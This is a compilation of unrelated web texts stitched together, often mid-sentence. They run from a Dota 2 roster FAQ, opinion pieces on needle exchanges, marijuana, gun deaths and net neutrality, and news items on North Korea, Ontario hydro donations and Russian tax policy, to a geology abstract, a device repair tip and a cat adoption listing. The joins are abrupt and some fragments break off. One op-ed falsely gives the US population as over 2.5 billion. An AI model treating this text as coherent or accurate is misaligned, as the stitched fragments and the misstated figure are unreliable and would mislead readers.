Any registered player that is not currently the member of a registered team can be invited.
WHO CAN REMOVE A PLAYER FROM A TEAM? New!
The manager of a team can remove any player from their team, and any player can remove themselves from a team. Doing so will incur a penalty to the team of 20% of all DPC points earned up to that point in the season.
WHEN CAN ROSTER CHANGES BE MADE? New!
Changes can be made at any point during the season up to when The International 2019 invites happen and TI Qualifiers start. Substitutes can be declared after TI Qualifiers to account for emergencies, subject to approval by Valve.
CAN A TEAM INVITE BE CANCELED?
Yes, if the player has not accepted it yet. Once a player accepts an invitation, removing the player from the team will incur the above DPC point penalty.
CAN A PLAYER BE INVITED TO MORE THAN ONE TEAM?
Yes, but they may only accept one of those invites.
DO WE NEED TO UPDATE OUR IN-CLIENT TEAMS?
No, in-client team rosters will be automatically updated as players are added or removed via this website.
CAN WE UPDATE OUR ROSTERS IN THE CLIENT? New!
No, teams that are registered via this website will only be able to add or remove players via this website.
Where can I see the current standings and specifics of point rules?An Easy Way to GPU Mine Ether, Monero and Zcash |
his campaign to try and sway them the other way.
Watch above, via CBS.
[image via screengrab]
— —
Follow Josh Feldman on Twitter: @feldmaniac
Have a tip we should know? [email protected] of needle exchanges accepted by U.S. government
The science has been clear on this for quite some time: needle exchange programs save lives, reduce the spread of HIV, and don’t cause any increase in drug use. It’s a real no-brainer, and it’s been bizarre that it’s taken the U.S. government so long to get on board, but they finally are.
White House moves to fund needle exchanges as drug treatment
The Obama administration has designated intravenous needle exchanges as a drug treatment program, allowing federal money set aside to treat addictions to be used to distribute syringes to narcotics users. […] The new position, determined by the surgeon general, is that the states can receive federal funding for programs that hand out the syringes as a treatment. […] U.S. Surgeon General Dr. Regina M. Benjamin told The Washington Examiner that needle exchange programs can serve as a gateway to treatment for drug addiction, HIV and other diseases. “This determination, based on years of scientific research, will permit states and territories to use Substance Abuse Prevention and Treatment Block Grant funds for what had formerly been termed ‘needle exchange,’ ” Benjamin said.
Well that’s pretty clear. And uncontroversial. After all, who would object to a program that saves lives, doesn’t increase drug use and helps move hard core addicts to treatment?
Oh.
“It doesn’t pass any serious test of rationality,” said John P. Walters, the former drug czar under President George W. Bush. “It’s like the surgeon general deciding that handing out lighters is a good way to help people to stop smoking. It’s at least that absurd, and the consequences are even greater given the risks involved in IV drug use.”
The risks involved in IV drug use are precisely why this program is so important. And if cigarette lighters on the street were infected with the ebola virus, then yes, it would make sense health-wise to hand out lighters to smokers.
But Dr. Scott Teitelbaum, director of the University of Florida-run Florida Recovery Center, said, “Putting a needle in your arm is not recovery.” Teitelbaum said he opposed taking money from legitimate treatment programs to pay for needle exchange.
Translation: “I resent that you might take federal money away from me to fund something that actually works.”
Dr. Robert L. DuPont, president of the Institute for Behavior and Health in Rockville, said it’s possible that addicts will seek treatment after getting clean syringes, but there are more cost-effective ways of getting drug users to seek treatment. “If someone proposed giving free drinks to treat alcoholism, they’d be laughed out of the building,” DuPont said. “But in the drug world, that’s considered good science.” A more effective way is to spend the money to go into the shelters and communities hit hard by addictions and bring the addicts into treatment, said DuPont and other drug treatment experts.
Yeah, we can follow the Thailand example. Rounding up addicts into forced treatment? Really? That’s your solution? Are there perhaps some good reasons why that isn’t being done now? Like, oh, I don’t know, the U.S. Constitution?
Critics say the new policy is a step toward European-style treatment where the government provides the drugs and a clean room to inject them.
Oh, you mean the European programs where they’ve demonstrated an 88% reduction in crime, improved health, and a dramatic raising of the average age of addicts (because of addicts living longer and fewer young initiates)?
Yeah, we sure wouldn’t want anything like that to interfere with the jollies of our sadomoralists.5y
2m read
Summary 2014 has been a huge year for the United States, as it marks the official “beginning of the end” for cannabis prohibition. Many in the country are still against the recreational legalization of marijuana, yet cling fervently to the belief that alcohol and tobacco are somehow different. The Centers for Disease Control and Prevention estimates […]
2014 has been a huge year for the United States, as it marks the official “beginning of the end” for cannabis prohibition. Many in the country are still against the recreational legalization of marijuana, yet cling fervently to the belief that alcohol and tobacco are somehow different.
The Centers for Disease Control and Prevention estimates that excessive alcohol use is linked to roughly 88,000 deaths in the United States per year, and they also estimate that tobacco is responsible for over 440,000 deaths in the country per year.
The CDC reports that between 1999 and 2007, marijuana was the underlying cause for 26 deaths in the United States, out of a population of over 2.5 billion.
So, the message here is that the government is perfectly fine with allowing products that can lead to hundreds of thousands of deaths per year. Yet, despite their dangers, when used correctly, these products help people relax, relieve stress and they can offer an avenue for entertainment.
These substances are also a sure-fire way to raise money for the government. You see, no matter how bad the economy is, people will always need their escape from reality, which these products offer. In turn, there is a constant stream of tax revenue going right to Uncle Sam.
Is that so wrong? I don’t see any problem with that. Though these products can kill people, they do provide benefits, and adults should be free to make adult choices. But the double-standard of legally allowing alcohol and tobacco while prohibiting marijuana doesn’t make much sense at all.
Jeffrey Miron, an economics lecturer at Harvard, released a 2010 study that estimated the United States could save close to $8.7 billion a year in law-enforcement costs if they no longer prosecuted for marijuana.
The marijuana law enforcement costs look pretty expensive for something that is so harmless.
According to USA Today, “in the most recent fiscal year, Colorado generated $9.1 million in retail sales tax from the sale of medical marijuana. This figure is bound to surge with the introduction of recreational sales and the additional 25% in excise and sales taxes thereon in 2014.”
And it has already begun. In the first month of marijuana sales, Colorado has reported nearly $1 million in tax revenue. Experts estimate that Colorado will see nearly $100 million in tax revenues from marijuana this year alone. And that’s just one state: Washington will likely see similar tax revenues from legalizing.
It’s time to wake up and smell the bud. We should all have the right to smoke a joint in the privacy of our own property. Will some people abuse this right? Like all things in life, unfortunately, yes – some people will, but when you consider the fact that marijuana actually has medical benefits, unlike those other two vices, it begs a simple question:
What’s the point of keeping it illegal?
Image courtesy of atomsforjpeaceDonald Trump stepped up his Twitter onslaught on the leadership of North Korea, this time turning his fire on the country's foreign minister, Ri Yong Ho.
He said he - and Kim Jong-un - would not be 'around much longer' - if Ri echoed the sentiments of "Little Rocket Man", the US president's latest nickname for the North Korean dictator.
Over the past week, Mr Trump has threatened to totally destroy North Korea, while Ri Yong Ho suggested Pyongyang was ready to test an H-bomb over the Pacific.
In turn, the North Korean foreign minister told the UN that aiming rockets at the US was inevitable after the US president's previous volley of insults.
Last week Sergey Lavrov, the Russian foreign minister, described the escalating war of words between the two leaders as a kindergarten fight.
In Pyongyang, North Korea staged a massive rally condemning the US and extolling the virtues of Kin Jong-un.
Speakers lined up to condemn Washington and marchers carried signs with an array of slogans including as "decisive revenge" and "death to the American imperialists."Abstract
Carbonates from approximately 2.3–2.1 billion years ago show markedly positive δ13C values commonly reaching and sometimes exceeding +10‰. Traditional interpretation of these positive δ13C values favors greatly enhanced organic carbon burial on a global scale, although other researchers have invoked widespread methanogenesis within the sediments. To resolve between these competing models and, more generally, among the mechanisms behind Earth’s most dramatic carbon isotope event, we obtained coupled stable isotope data for carbonate carbon and carbonate-associated sulfate (CAS). CAS from the Lomagundi interval shows a narrow range of δ34S values and concentrations much like those of Phanerozoic and modern marine carbonate rocks. The δ34S values are a close match to those of coeval sulfate evaporites and likely reflect seawater composition. These observations are inconsistent with the idea of diagenetic carbonate formation in the methanic zone. Toward the end of the carbon isotope excursion there is an increase in the δ34S values of CAS. We propose that these trends in C and S isotope values track the isotopic evolution of seawater sulfate and reflect an increase in pyrite burial and a crash in the marine sulfate reservoir during ocean deoxygenation in the waning stages of the positive carbon isotope excursion.Today I’d like to start a series of irregular guest posts called “Death Perspectives”, where people from different religious and non-religious perspectives share how they understand death as informed by their religion. And I’m happy that my first guest post is from a fellow funeral director, Heather Hernandez.
After you read her post, ask her questions about how her perspective informs her views of dying, death and funerals. She’s very eloquent and can help you understand how an Atheist views death.
*****
It is a quiet moment, the one during a funeral service or a rosary or a mass. Someone – priest, preacher, family member – has asked us to bow our heads in prayer. I interlace my fingers, hands clasped in front of me. As I listen to the silence of people around me as they focus on their commune with God, I take the moment for a deep breath and a concentrated effort for the purity of blank meditation. My eyes are open, and I scan the room from the back corner. I’m not communicating with anyone but my own inner monologue. I hear the echo of “amen” as the prayer concludes, but not from my own throat.
I am an atheist.
I am a funeral director.
It is a unique thing to be a person without faith working in an industry where faith is often a driving force for what we do. Our funeral rites and rituals have a basis in religion more often than not, and I interact with people from all walks of religion on a daily basis. I appreciate that my families have beliefs to give them solace, faith to warm their hearts and dull the sharp sting of grief to an ache.
I am not usually an evangelical atheist. I would never dream of stepping outside of my role as a funeral director to criticize someone else’s rituals or step on their hopes of an afterlife. Lately, I only feel the need to speak up about my beliefs because non-believers are often painted in a negative light, as amoral and non-contributive to society and our communities. I look at myself and I don’t see that.
I am a military wife supporting a husband about to deploy to Afghanistan.
I am an animal-lover who stopped four lanes of traffic to rescue two terrified stray dogs.
I am a volunteer at my local library, teaching adults how to read.
The way that I choose to live is directly affected by my atheism. It’s hard for me to look at my husband, my parents, my sisters and my best friends and realize that in my reality there is no afterlife. There’s no light at the end of the tunnel or Heaven where we meet up and spend the rest of eternity in each others’ company.
What I do get is the realization that the here and now is all I get. I have to enjoy every single second that I get here, every breath I take, every opportunity to reach out and hold my husband’s hand or call my parents and tell them I love them. I don’t believe that I get a do-over or forgiveness to wipe the slate clean, and I am therefore my own harshest critic. I want to be remembered as someone who always did the right thing the right way, who served others and loved as hard as she could.
I am an atheist, but sometimes, even though I’m not thanking God, I take that quick moment of silence during the Lord’s Prayer to reflect and appreciate how grateful I am for the time I do have and all the wonderful ways I can spend it.
*****
Heather Hernandez is a mid-20s graduate of mortuary college, navigating the complexities of death care as a first generation funeral director. When she’s not running services, she’s also a wife, a dog-lover, and an amateur taxidermist. You can read her blog at http://mortuaryreport.com/ or check out her taxidermied mice and other artwork at http://www.etsy.com/shop/mortuaryreport.Tweezers, a small Phillips screwdriver and something to open the device. (I used the iFixit Toolkit)
1 piece of paper (regular printer paper, post-its,...)
Quote: (Edit)
Shortcut: It is also possible to improve the buttons without removing the whole button frame. See post #3 for details.
I got one of the very early Nexus 9. My device was mostly fine (no huge light-bleeding) but the Power and the Volume-Up buttons were hard to press because they were not raised high enough above the surface.(Volume-Down was working fine)If you follow my instructions you do this at you own risk. I'm not responsible for any damage you do to your device.Take of the back cover of the device. ( https://www.ifixit.com/Teardown/Nexus+9+Teardown/31425 Remove the 3 screws (red) and the big connector (green).Pull out the metal body holding the buttons. Pull carefully on the button cable to remove it from the connector.If you look closely you can see that the Volume-Down button is not completely attached to the metal frame. This looks like a production error but it allows the button to be pressed normally.We could apply this "production error" to the other buttons too which should improve their usability.First separate the buttons from the metal frame. I found that only a piece of paper is thin enough to not cause damage to the buttons.Now, use the same piece paper (or another one - I don't care) to create tiny pieces that can be put behind the buttons to raise them a bit. (I folded the paper once to have 2 layers)Carefully put everything back together.All buttons work fine.Following the top persona rankings, the rest of the results from Dengeki Playstation’s Persona 5 questionnaire have been published in Persona Magazine P5 Special 2016.
@MysticDistance on twitter has translated these results.
Age and Gender of people buying Persona 5
Gender
56.5% of people buying Persona 5 are male
43.5% of people buying Persona 5 are female
Age:
19.9% of respondents are aged between 10 and 19
52.6% of respondents are aged between 20 and 29
23.1% of respondents are aged between 30 and 39
4.4% of respondents are over 40
The first Persona game of people responding
18.7% started with Persona 4 The Golden
18.3% started with Persona 3 Portable
17.5% started with Persona 4
12.4% started with Revelations: Persona
12.0% started with Persona 3
6.4% started with Persona 2 Innocent Sin
5.6% started with Persona 3 FES
5.5% have never played a Persona game
2.0% started with Persona (PSP Remake of Revelations: Persona)
1.6% started with Persona 2 Eternal Punishment
Which version of Persona 5 are people buying?
58.1% are buying the 20th anniversary edition of Persona 5 on PlayStation 4
14.4% are buying the 20th anniversary edition of Persona 5 on PlayStation 3
13.5% are buying the standard edition of Persona 5 on PlayStation 4
5.4% are buying the standard edition of Persona 5 on PlayStation 3
4.1% are buying the download version of the 20th anniversary edition of Persona 5 on PlayStation 4
2.3% are buying the download version of the standard edition of Persona 5 on PlayStation 4
1.8% are buying the download version of the 20th anniversary edition of Persona 5 on PlayStation 3
0.4% are undecided
Favourite party members in Persona 5
Hero Makoto Niijima Futaba Sakura Anne Takamaki Morgana Yusuke Kitagawa Haru Okumura Ryuji Sakamoto
Favourite side characters in Persona 5
Caroline and Justine Igor Tae Takemi Goro Akechi/Hifumi Togo Chihaya Mifune/Munehisa Iwai Yuki Mishima Sadayo Kawakami Toranosuke Yoshida Shinya Oda Sojiro Sakura Ichiko Oya
Favourite Personas
Arsene Johanna Goemon Carmen Milady/Zorro Necronomicon Captain Kidd
For more comprehensive answers to this question, see the previous article.
Persona Official Magazine is an ongoing, Atlus backed magazine about the goings on of the series that releases on an irregular schedule. It had an original run of 11 issues from 2011 to 2012, and it made its return on December 5, 2013 with its #Re:birth issue.There's nothing wrong with public utilities donating money to the Ontario Liberal Party, Energy Minister Brad Duguid said Monday after the NDP charged the donations are driving up hydro bills.
The New Democrats released Elections Ontario documents showing that local utilities, including Newmarket-Tay Power and Oakville Hydro, donated thousands of dollars to the Liberal party in the past few years.
"Essex Power put nearly $3,000 into Liberal party coffers, while Thunder Bay Hydro made a donation to the Thunder Bay Superior North Liberal Riding Association," NDP Leader Andrea Horwath told the legislature.
"Why are families who are already feeling the squeeze funding the Ontario Liberal Party when they're paying their hydro bills?"
Duguid repeatedly refused to answer Horwath's questions in the legislature, and outside the chamber defended the political donations by utilities.
"We have the most stringent rules probably ever in Ontario in place and they apply to all three political parties," Duguid said.
"Those that make donations to the governing party make donations to the opposition generally as well."
Duguid wouldn't say whether he thought it was appropriate for municipally owned utilities to donate to political parties at a time when electricity rates are rising. Instead he repeated his statements about the donations following the rules.
Tories don't support NDP
The Progressive Conservatives also refused to support the NDP's call to change the rules to prohibit local utility companies from making political donations.
"I wouldn't advocate changing a system that is clear and transparent about where campaign contributions come from," Opposition Leader Tim Hudak said.
Each of the utilities named by the New Democrats said they never donated money directly to the Liberals, but rather purchased tickets to party fundraisers so they could network with cabinet ministers and industry officials on the Green Energy Act.
The Elections Ontario documents show Oakville Hydro gave the Liberals $8,500 in 2009 and another $7,000 in 2008.
Newmarket-Tay Power Corp. gave the Liberals $2,350 in 2009, but the money was used to buy tickets to fundraisers or for speeches by then energy minister George Smitherman, said CFO Ian Clinton.
"We would never make donations to a byelection," Clinton said. "We're a publicly funded utility company."
Ratepayer money not used: Oakville Hydro
Oakville Hydro did not use money from electricity ratepayers to buy tickets to Liberal fundraisers, but instead used funds from its other businesses, which included telecommunications and construction companies, CEO Bob Lister said.
"This would have been paid for by funds earned elsewhere than the electricity distributor," Lister said.
"From our perspective, it was an industry networking event to support the business needs of the corporation."
Essex Power Corporation donated $2,940 to the governing Liberals, $1,700 of which the party directed to the Toronto-Centre byelection, which the Liberals won in February this year.
The utility viewed the Liberal fundraisers as necessary networking events, Essex Power CEO Ray Tracey said.
"It's really to understand the direction of the government and... ensuring that if we're going to be making investments, we can be sure that there's a commitment to these [green energy] programs," Tracey said.
Other funds donated by the utilities were directed by the Liberals to last year's byelection in Haliburton–Kawartha Lakes–Brock, which the government won, defeating then PC leader John Tory.
"It's obvious that byelections provide that extra opportunity for more money to flow," Horwath said.
Other public utilities donating to the Liberals included Thunder Bay Hydro ($330), Greater Sudbury Hydro Plus ($520), St. Catharines Power Generation ($228) and Niagara-on-the-Lake Hydro ($215).
The government's refusal to change the rules or acknowledge that the political donations are inappropriate is a "slap in the face to every hydro ratepayer in this province," Horwath added.
"It is indefensible," she said. "There's no way that these public utilities should be donating to political parties. They benefit from it, [so] they don't want to change the rule."
The government pointed out that the NDP has also accepted donations from the energy sector, including $1,200 from Five Nations Energy Inc., which is jointly owned by the Attawapiskat, Kashechewan and Fort Albany First Nations.-
Auburn softball's Rachael Walters, left, and Sydne Waldrop happy with new Under Armour gearAuburnTigers.comAuburn soccer player Brooke Ramsier was happy to see all her new Under Armour gear when preseason practice began, and she was especially happy to find her sporty new orange-and-blue cleats in her locker."We call it Christmas in July, and this year especially," she said.Auburn and Under Armour will announce a new contract Thursday that will carry their relationship that began in 2006 into 2025."They've stepped up for Auburn to have us represent them well. We're excited to get all this great gear and represent them," Ramsier said.All 21 Auburn sports will be decked out in Under Armour gear, now more than ever.One of the key elements of the new deal is to provide more gear for all Auburn athletes, not just high-profile sports such as football and basketball."It will impact all sports, but an area this relationship has improved on every year involves our Olympic sports," said Auburn Director of Athletics Jay Jacobs. "Under Armour met the demands, expectations and requests of our coaches in those Olympic sports. It's great to have a partner that makes you feel like you're their No. 1 customer."Jacobs said the new contract provides "resources that give us a chance to do more for our students. That's what excites me about it."Auburn coaches and athletes have worked with Under Armour over the years to provide apparel that fits the needs of individual sports., Auburn's equipment manager, says the Under Armour brand, so recognizable at Jordan-Hare Stadium, will be everywhere on all kinds of accessories."Tennis will definitely take a big leap, the track and field teams have taken a big leap the last couple of years, and now more so; gymnastics is going to take a leap," Marquez said."Under Armour will come out with a new line for women's golf. There will be a lot of fun things for our women athletes that will be part of this deal. It's what everybody has been waiting for."Track and field coachhas seen Under Armour expand its product line for all sports."We're real excited because every year it has gotten better in terms of Olympic sports," he said. "Even this year there are a lot more specialized pieces for our sport, like shake-out uniforms and tapered pants, the kind of stuff track and field needs."We probably got double the equipment this year over last year, we've had a bigger selection and they gave us a lot more input in terms of the design."Auburn was one of the first schools to sign with Under Armour."They weren't making track and field uniforms, but what they did was give us a lot of prototypes and they made the transition," Spry said. "Now, they're going to send us some prototypes of their spikes. That's a big step to get the shoe line. We'll be rocking and rolling all the way through."They've done a good job of tailoring to what our needs have been in track and field."Cross country runner Redatu Semeon agrees."At the beginning of the year at our annual Tiger Tailgate, we got a great gift box with an assortment of clothing options and shoes. When you practice as hard as we do, you need to be wearing the best gear," he said.Charles Goldberg is a Senior Writer at AuburnTigers.com. Follow him on Twitter: Follow @AUGoldMineUpdated at 10:45 a.m. Thursday: Revised to correct Dallas City Council member Tiffinni Young's professional status. Though her official biography on the city's website says she went to law school, she did not graduate and is not a lawyer.
The daughter of a woman eaten alive by dogs this year has accused a Dallas City Council member of breaking the law and trying to take advantage of her family after the high-profile dog mauling.
In a lawsuit filed Tuesday, Antoinette Brown's daughter, Matisha Ward, claims that council member Tiffinni Young illegally conspired with an attorney to try to secure the family's business in a wrongful-death lawsuit.
Young, who represents the district where Brown was attacked and has been outspoken on the city's loose dog problem, declined to comment late Tuesday, saying she had not seen the lawsuit.
The attorney with whom she is accused of conspiring, Chris Chestnut, could not be reached for comment. But he told WFAA-TV (Channel 8) that neither he nor Young did anything wrong.
"I perceive it as Ms. Young trying to help a constituent who just lost her mom tragically in a horrific death," he said. "She was just following up with the lady to see if I could help."
Chestnut has a history of misconduct allegations in Florida, according to news accounts from that state.The gun deaths are literally uncountable.
That's what Slate discovered a few years ago, when the online magazine inaugurated a project to determine the number of U.S. deaths by gun violence every day following the 2012 Newtown school massacre. When it ended the partly crowd-sourced effort a year later (Dec. 31, 2013), the reporters had confirmed 12,042 deaths by gun violence. They had also discovered that it was far from the actual total, as Dan Kois reported: "The overwhelming likelihood is that our interactive missed more than half of the gun deaths in the past 12 months. The main reason there is no single source collecting this data in real time is surely because it is an enormous, daunting task – one that we only made a small dent in, with the help of devoted volunteers."
Slate was working from confirmed, reported deaths, and it turned out that U.S. gun deaths are so common that fewer than half are publicly reported. The Centers for Disease Control, from official death certificates, reports that there are annually about 32,000 deaths by firearms; the most recent confirmed number (2013) is about 34,000 (the largest omission in media reporting is of gun suicides). That works out to about 90 people a day. We hear about them mostly when there's a "newsworthy" element – e.g., a cop killed, a killing by a cop, or somebody gets shot on TV.
Ninety U.S. deaths-by-gun a day is difficult for anybody to comprehend. Despite the wide range of circumstances and motives, what do all these deaths have in common? The ready availability of guns. In the early Nineties, CDC researchers determined that the simple presence of a gun in the home tripled the risk of homicide, and "virtually all of this risk involved homicide by a family member or intimate acquaintance."
Seventy-Two Hours
What was the result of those illuminating findings? Congress, bullied by the National Rifle Association, defunded the CDC from any ongoing research into gun violence, on the grounds that the research (in this case, a statistical study) was being used to "promote gun control." Reiterating that position earlier this year, House Speaker John Boehner said, "A gun is not a disease." After Sandy Hook, President Barack Obama redirected the CDC to study the causes of gun violence – but in the ensuing two years, virtually no such research has taken place, because the scientists fear political backlash and defunding.
So even arriving at an accurate count of the consequences of ubiquitous firearms is a very difficult task. In the wake of the Slate project, a new nonprofit – the Gun Violence Archive (www.gunviolencearchive.org) is doggedly attempting to fill the gap. Judging by its overall numbers for 2015 – 8,725 deaths and 17,873 injuries, as of Sept. 2 – they're having similar difficulties. But it's a laudable effort, and a review of the website suggests that "good guys with guns" is not exactly the norm for American homicide.
As of Wednesday morning, the archive lists 56 deaths by gun in the last 72 hours (of about 250 shooting incidents, including injuries). That's a considerable number, but CDC's annual stats reflect it's still an undercount. A few selections from still fragmentary information of the deaths:
• New Orleans, Sept. 2: Man shot dead in his driveway.
• Columbus, Ohio, Sept. 1: Man shot dead in a "home invasion" apparently stemming from an insult.
• Twinsburg, Ohio, Sept. 1: Two dead in domestic homicide/suicide.
• Petersburg, Va., Sept. 1: Man shot dead on the street, after an argument.
• Hartford, Conn., Sept. 1: Man shot dead in the street.
• Bluefield, W. Va., Sept. 1: Bank robber shot dead by police.
• Buffalo, N.Y., Sept. 1: Man shot dead in his barbershop, apparently ongoing dispute.
• South Bend, Ind., Sept. 1: Man shot dead in his truck, circumstances unknown.
• Longwood, N.Y., Sept. 1: Man shot dead on the street.
There are at least eight more confirmed deaths by gunshot (some in Texas) just on Sept 1. I could go on, but the Chronicle has only so much space. Read the archive.
The Bigger Guns
As I've written before, there are so many guns in the U.S. – about as many guns as people – that the manufactured hysteria over "government gun seizures" is not just exaggerated, it's laughable. The things we most fear are mostly not the actual dangers. (Case in point: the Forward reported in 2013 that U.S. toddlers handling unsecured guns kill more people – mostly other children – than do "terrorists.")
In one important sense, the "guns don't kill people" cliche is accurate – mass daily homicide also requires a reflexive gun culture, in which domestic disputes, street arguments, road rage, and the like, quickly escalate to settlement by gun. In that context, our militarized political culture – in which peace negotiations are for "losers," and war is the instinctive and grimly heroic option – reflects the same cultural impulse as our recently rising homicide rate.
In recent years, those deaths by U.S. gun violence are beyond uncountable.Commentary: The reality is big companies do have a privileged path into people’s digital lives. They have the money and the technical ability to make sure their websites and internet videos speed through internet pipes without delays or hiccups.
I will concede that it gives me the willies to allow more self-determination by the telephone and cable companies. That’s what the Federal Communications Commission is doing by wiping away rules that require providers of internet access to treat all online information the same.
Those who have fought for net-neutrality rules have held up the basic principle that no one should have an unfair advantage online. Giants like Amazon.com and the suburban dad inventing a new toy should have the same path to reach us electronically. The idea is Amazon can’t pay Comcast to make sure Americans’ web browsers speedily arrive at its toy section, while Comcast sticks the dad in a slow lane.
But like most high-minded principles, the ideals of net neutrality aren’t reality. No matter what the FCC does, America’s internet is not an equal place and it’s only going to become less fair.
The reality is big companies do have a privileged path into people’s digital lives. They have the money and the technical ability to make sure their websites and internet videos speed through internet pipes without delays or hiccups.
Google parent company Alphabet, for example, famously obsesses over fractions of a second of delay when people surf Google web searches or YouTube. The company has said the vast majority of internet users will give up if a web video stalls. To make sure no one ever dumps a YouTube video, then, Alphabet can rely on its 74,000 employees and the most impressive network of computers on the planet, on which the company devotes a big chunk of its $12 billion in yearly capital spending.
No suburban dad can match those resources. Google doesn’t need to pay AT&T or Verizon to ensure its YouTube videos have a zippier route along those companies’ internet pipes. Google’s unmatched employee talent and money ensure those YouTube videos have a fast lane into people’s homes.
And even though Google doesn’t need to pay AT&T or Verizon Communications, it sometimes does either directly or indirectly. Google, Netflix and other rich companies have long had agreements to connect their computer equipment directly into telecommunications companies’ networks. In some cases, those web companies pay fees for the privilege, known as paid peering. These payments are a legal and accepted — if occasionally controversial — cost of doing business, even under the stricter internet regulation the FCC is seeking to undo.
Giant companies such as Google, Facebook and Microsoft also have built their own cross-country or undersea pipes for their internet traffic, which means their online services zip along the internet without bumping up against other web traffic. The suburban dad’s toy company can’t afford its own undersea internet cable.
And it’s not only the big internet companies that press their advantage. America’s providers of telephone and internet access do it, too. Those telecom companies often have their own web video programming or other digital services, and they can and do give them a leg up in ways no regulatory body has addressed.
For example, AT&T discounts its DirecTV Now internet television offering for people who have its high-end mobile phone service. That means AT&T — without doing anything nefarious to slow internet traffic to rivals — is making its owned web programming more appealing to its customers.
The FCC also permits the telecom providers to accept fees to give access to certain websites or apps without customers worrying about their data costs. Again, the internet is not a level playing field, and AT&T doesn’t have to speed up or slow down anyone’s web traffic to make it this way.
In one of the biggest signs of basic internet reality, one of the main advocates of net neutrality is no longer on the front lines. Netflix CEO Reed Hastings said this spring that his company believes in the principles of net neutrality, but it’s not life-or-death for Netflix anymore.
“It’s not our primary battle at this point,” Hastings said at a technology conference in May. “We think net neutrality is incredibly important. It’s not narrowly important to us, because we are big enough to get the deals we want.”
Hastings is right. Big and popular companies have privileged positions in today’s internet, no matter how the rules are written and enforced. That’s also why Google and Facebook aren’t arguing that vociferously for the FCC to keep stricter regulation of internet service providers.
So let’s not mourn the end of net neutrality at the hands of the FCC. Net neutrality was already dead.Available from: May 2nd, 2016
May 2nd, 2016 Gender: Female
Female Age: 11.2 years (Adult)
11.2 years (Adult) Size: Small
Small Breed: Domestic Medium Hair
Hello there, my name is Mia.
I'm a very gentle and patient girl and I'm the type of kitty that appreciates the simple life. I’m fond of quiet, peaceful and relaxing settings where I can sit and contemplate cat current affairs.
I will gladly follow you around the house while you go about your day and provide plenty of hugs whenever you need. I'm very affectionate and I love snuggle times, especially on the couch or beside you curled up cozy in a fluffy doona.
I think it would be wise of me to mention I have had few little thyroid niggles which are now being managed by a change to my diet. It would be most wonderful to find a home where my new family will pay special attention to my dietary needs and make sure I get regular health checks to monitor my good health. This will make my little heart very happy and available to you for endless love.
I can’t wait to meet you!FOXBOROUGH, Mass. – Get ready to be part of one of the most highly-anticipated fitness events in New England this year.
International fitness star Shaun T – the creator of best-selling fitness programs INSANITY, Focus T25 and Hip Hop Abs – will make a special appearance at Gillette Stadium on Saturday, July 12, when he leads a live workout on the field before the New England Revolution hosts the Chicago Fire later in the evening.
Special ticket packages start at $85 and are on sale now. CLICK HERE TO PURCHASE
The workout packages include:
One spot in the live workout
Q&A session with Shaun T after the workout
Meet & Greet/Group Photo Session with Shaun T
Access to a reserved tailgate area between the workout and the Revolution game
One ticket to see the Revolution vs. Fire that night (7:30 p.m. kickoff)
Special package options are available for fitness fans who want to be closer to Shaun T and work out in the first 10 rows.
Spots in this once-in-a-lifetime event are limited, so fans and fitness buffs alike are urged to purchase early.The Norwegian Institute of Public Health (NIPH) recently released a report on |
through the 16 days of A Clockwork Spiral, and you can find the club under the central railway station.
Further details of the event can be found on the A Clockwork Spiral blog, which includes information on the event sponsors, provides a list of participating merchants, and a map of the event area.
When visiting, do keep in mind that there is a lot going on at the region, and it is likely to have a good number of visitors – so please help keep things running smoothly by attending as lightly scripted as possible, and try to avoid wearing texture-heavy attachments as well.
Related Links
AdvertisementsIt's a 500-mile bike ride with a much bigger mission.
On Thursday, Jorge Zighelboim — founder of the nonprofit group Autism Conquers — pedaled out of Sunny Isles Beach on a 500-mile journey to Tallahassee. His goal? Change the state's Autism Insurance Mandate.
Currently, under the state's Autism Insurance Mandate — also known as the Steven A. Gellar Autism Coverage Act — which was passed in 2008, families with autistic children are eligible for up to $36,000 in reimbursements a year, with a lifetime maximum of $100,000 for their child's treatment.
But Zighelboim's said he's had a hard time getting his money. His daughter, Gabriela, 7, was diagnosed with autism five years ago.
"[At that time] we were suffering and we ended up spending a fortune treating Gabriela," he said.
After spending close to half a million dollars and fighting insurance companies for reimbursements, Zighelboim, who is in the middle of a divorce, decided to move with his daughter and wife to Massachusetts for better treatment options. He's since moved back to Miami, while his family lives in Massachusetts.
He said he hasn't forgotten about the millions of autistic children in Florida.
When he gets too tired to pedal, he thinks of his daughter and the other autistic kids throughout the state.
"I've got all the autistic kids riding with me on my back. It's a pleasure to carry them," he said.
According to the Centers for Disease Control, one in 88 children are autistic and, according to a 2011 Autism Speak's survey, Florida is one of the five worst states to live in if you have autism.
Last year, Zighelboim's nonprofit Autism Conquers launched "Reform the Florida Autism Mandate," an online petition through Change.org. The petition has collected more than 2,000 signatures — about 8,000 short of the 10,000 Zighelboim says he needs to persuade a House member to introduce the bill in the Florida Senate.
That's why Zighelboim, along with his trainer Glenn Fenster, will ride along the state to collect petition signatures with the goal of creating a new law that helps financially struggling autistic families.
"Jorge could have been sitting quite comfortably in an air-conditioned office, but he's stepping up, taking the hard route and pedaling every mile his self," Fenster said.
Zighelboim plans to reach the state's capitol on Wednesday. He says he will bike back in February before the legislative session starts.
Miami resident Mariela Briceno signed Zighelboim's petition for her 15-year-old autistic son.
"The process of claiming is so difficult. There are so many tricks, so I have to pay everything myself," she said. "I hope that [Zighelboim] is able to collect the signatures and get people to sign the petition, so the representatives will take account of this and change the law."
Former senator Steven Gellar, who the autism mandate is named after, said that any change will be hard to come by.
"I understand [Zighelboim's] passionate about the subject, but there is very little we can do, we've already done as much as we can."
[email protected] or 561-243-6648 or @attiyya_sunImage caption Long-term investment is "necessary for modernisation", Mr Medvedev says
Russia will scrap capital gains tax on long-term direct investment from 2011, President Dmitry Medvedev has said.
Mr Medvedev said that in terms of improving Russia's investment climate "we, I hope, are moving forward".
He also said the number of "strategic" firms, in which foreign investment is restricted and which cannot be privatised, would fall from 280 to 41.
Mr Medvedev has been promoting the idea of "modernisation", including diversifying the Russian economy.
Also, many investors have been wary of coming to Russia because of corruption and the dominant role the state plays in Russia's business life.
Mr Medvedev told the St Petersburg International Economic Forum that long-term direct investment was "necessary for modernisation".
He also said that he would ask the government to create a special investment public-private fund.
"Such an idea should be implemented within a year," he said.
'Something new'
The Russian economy, heavily dependent on oil and gas revenues, was enjoying several years of robust growth in the middle of the 2000s.
However, it was hit hard by the global economic crisis, and in 2009 the economy shrank by 7.9%.
The economy is forecast to return to growth this year, expanding by about 4%. But Russia is also set to run a budget deficit for several years to come.
